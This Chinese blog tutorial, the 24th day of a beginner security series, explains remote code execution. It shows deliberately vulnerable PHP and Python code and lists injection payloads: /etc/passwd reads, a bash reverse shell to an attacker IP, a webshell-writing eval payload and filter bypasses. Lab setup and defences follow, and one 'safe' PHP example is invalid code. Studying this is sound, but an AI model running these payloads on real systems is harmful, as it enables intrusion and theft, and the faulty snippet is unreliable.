欢迎光临
我们一直在努力

如何从一名小白成为网安大神(第二十四天)

一、学习RCE 远程代码执行漏洞

(一)基础定义与核心区分

1. 什么是 RCE

RCE(Remote Code Execution,远程代码执行):攻击者通过可控输入,在目标服务器远程执行操作系统命令或服务端编程语言代码,属于最高危 0day 级漏洞,成功利用可完全接管服务器、窃取数据、横向渗透内网。

2. 两大核心分类(必须分清)

类型全称执行对象典型危险函数 (PHP 示例)漏洞成因
命令注入 Remote Command Execution Windows/Linux 系统命令 system()、shell_exec()、exec()、``反引号 用户输入直接拼接系统 shell 命令
代码注入 Remote Code Execution 服务端编程语言 (PHP/Python/Java) eval()、assert()、create_function() 用户输入被当作程序代码解释执行

简单记忆:

  • 命令注入:调用系统cmd/bash(ping、dir、ls)
  • 代码注入:调用语言解释器(phpinfo ()、os.popen ())

3. RCE 通用危害

  • 读取服务器配置、数据库账号密码、源码
  • 上传 Webshell 木马,持久控制网站
  • 反弹 Shell,获得服务器交互式终端
  • 内网扫描、端口探测、横向渗透其他主机
  • 植入挖矿程序、勒索病毒、篡改页面数据

  • (二)命令注入(最易入门,优先学习)

    1. 漏洞原理示例(PHP Ping 功能)

    漏洞代码:

    <?php
    $ip = $_GET['ip'];
    system("ping -c 4 ".$ip); // 直接拼接用户输入,无过滤
    ?>

    正常访问:http://xxx/?ip=8.8.8.8,执行ping -c 4 8.8.8.8

    2. 命令分隔符(注入核心符号)

    利用分隔符截断原有命令,拼接恶意命令:

    符号适用系统作用攻击 Payload 示例
    ; Linux 顺序执行两条命令 ?ip=127.0.0.1;whoami
    & Windows/Linux 后台并行执行 ?ip=127.0.0.1&dir
    && 全平台 前一条成功才执行后一条 ?ip=127.0.0.1&&cat /etc/passwd
    | 全平台 前一条失败才执行后一条 ?ip=aaa|whoami
    | Linux 管道输出 ?ip=127.0.0.1|ls

    3. 基础 Payload 合集

    Linux 系统
  • 查看当前用户:127.0.0.1;whoami
  • 读取密码文件:127.0.0.1;cat /etc/passwd
  • 查看目录文件:127.0.0.1;ls -l
  • 反弹 Shell(最实用):
  • 127.0.0.1;bash -i >& /dev/tcp/攻击机IP/4444 0>&1

    Windows 系统
  • 查看当前用户:127.0.0.1&whoami
  • 列目录:127.0.0.1&dir
  • 读取文件:127.0.0.1&type C:\\windows\\system32\\drivers\\etc\\hosts
  • 4. 过滤绕过技巧(实战高频)

    • 空格被过滤:%09(制表符)、${IFS}(Linux 环境变量空格)
    • cat被过滤:more、less、tac、nl替代
    • 关键字黑名单:大小写变形CaT、字符串拼接c""at

    (三)代码注入漏洞(进阶 RCE)

    1. PHP eval 漏洞示例

    漏洞代码:

    <?php
    $code = $_GET['cmd'];
    eval($code); // 直接执行用户输入为PHP代码
    ?>

    基础 Payload:

    ?cmd=phpinfo();
    ?cmd=system('whoami');
    ?cmd=fputs(fopen("shell.php","w"),'<?php eval($_POST[cmd]);?>'); // 写入木马

    高危危险函数:eval、assert、create_function、include($user_input)

    2. Python 代码注入

    危险函数:exec()、eval()、os.system()漏洞示例:

    import os
    user_input = request.args.get('cmd')
    eval(user_input)

    Payload:__import__('os').popen('whoami').read()

    3. 其他衍生 RCE 场景(高频考点)

  • SSTI 服务端模板注入(Jinja2/Thymeleaf → RCE)
  • 反序列化漏洞(Fastjson、Log4j2、Shiro、Struts2)
  • 文件上传 + 解析漏洞(上传图片马配合包含漏洞执行代码)
  • 第三方组件漏洞(Log4j2 JNDI 注入、Spring4Shell)

  • (四)本地靶场环境搭建(新手必做,合法复现)

    方案 1:PHPStudy 快速复现命令注入(最简单)

  • 安装 PHPStudy,新建rce.php写入漏洞代码
  • <?php
    $ip = $_GET['ip'];
    system("ping ".$ip);
    ?>

  • 浏览器访问127.0.0.1/rce.php?ip=127.0.0.1;whoami,验证漏洞执行
  • 方案 2:Vulhub Docker 靶场(完整漏洞库)

    适合复现 Log4j2、Fastjson、Struts2 等框架 RCE

  • 安装 Docker+docker-compose
  • 拉取 vulhub 仓库,进入对应漏洞目录启动环境:
  • cd vulhub/fastjson/1.2.24-rce
    docker-compose up -d

  • 访问靶机 IP 进行漏洞利用
  • 方案 3:DVWA Web 靶场(入门首选)

    内置 Command Injection(命令注入)关卡,分低 / 中 / 高难度,练习过滤绕过。


    (五)实战利用流程(渗透标准步骤)

  • 漏洞探测
    • 寻找可控参数:URL 参数、POST 表单、Cookie、HTTP 请求头
    • 测试分隔符:传入;whoami观察页面是否回显命令结果
  • 信息收集
    • 执行whoami、id、uname -a判断系统、权限
    • 读取配置文件、网站源码路径
  • 权限提升 / 持久化
    • 写入 Webshell 木马获取长期控制
    • 反弹交互式 Shell,完整操作服务器
  • 内网横向
    • 扫描内网 IP、数据库、其他服务端口
  • 反弹 Shell 完整操作(Kali 攻击机演示)

  • Kali 监听端口:nc -lvnp 4444
  • 目标 RCE 注入 Payload(Linux):
  • ;bash -i >& /dev/tcp/192.168.1.100/4444 0>&1

  • 攻击机获得目标服务器完整终端

  • (六)RCE 漏洞防御方案(开发 / 运维双向)

    1. 开发层核心防护(根本解决)

  • 禁止使用危险函数
    • PHP:php.ini配置disable_functions = system,exec,eval,shell_exec
    • Python/Java:避免动态执行用户可控输入(eval、反射、反序列化)
  • 输入白名单校验(拒绝黑名单)黑名单极易绕过,只允许业务合法输入(如 IP 仅允许数字 + 点)
  • 安全转义函数(必须参数分离)
    • PHP:escapeshellarg() 单独转义参数,不要拼接字符串错误写法:system("ping ".$ip)安全写法:system("ping", [$ip]) 或 system("ping ".escapeshellarg($ip))
  • 禁止模板引擎解析用户输入,关闭反序列化自动解析
  • 2. 运维服务器防护

  • 最小权限运行 Web 服务(禁止 root / 管理员启动网站)
  • 及时更新第三方组件(Log4j、Fastjson、Spring、Struts)
  • WAF 防火墙拦截命令分隔符、恶意函数关键字
  • 日志监控命令执行行为,异常请求实时告警
  • 核心防御口诀

    永不信任用户输入,绝不把可控输入直接传入执行函数

    赞(0)
    未经允许不得转载:171主机测评 » 如何从一名小白成为网安大神(第二十四天)
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址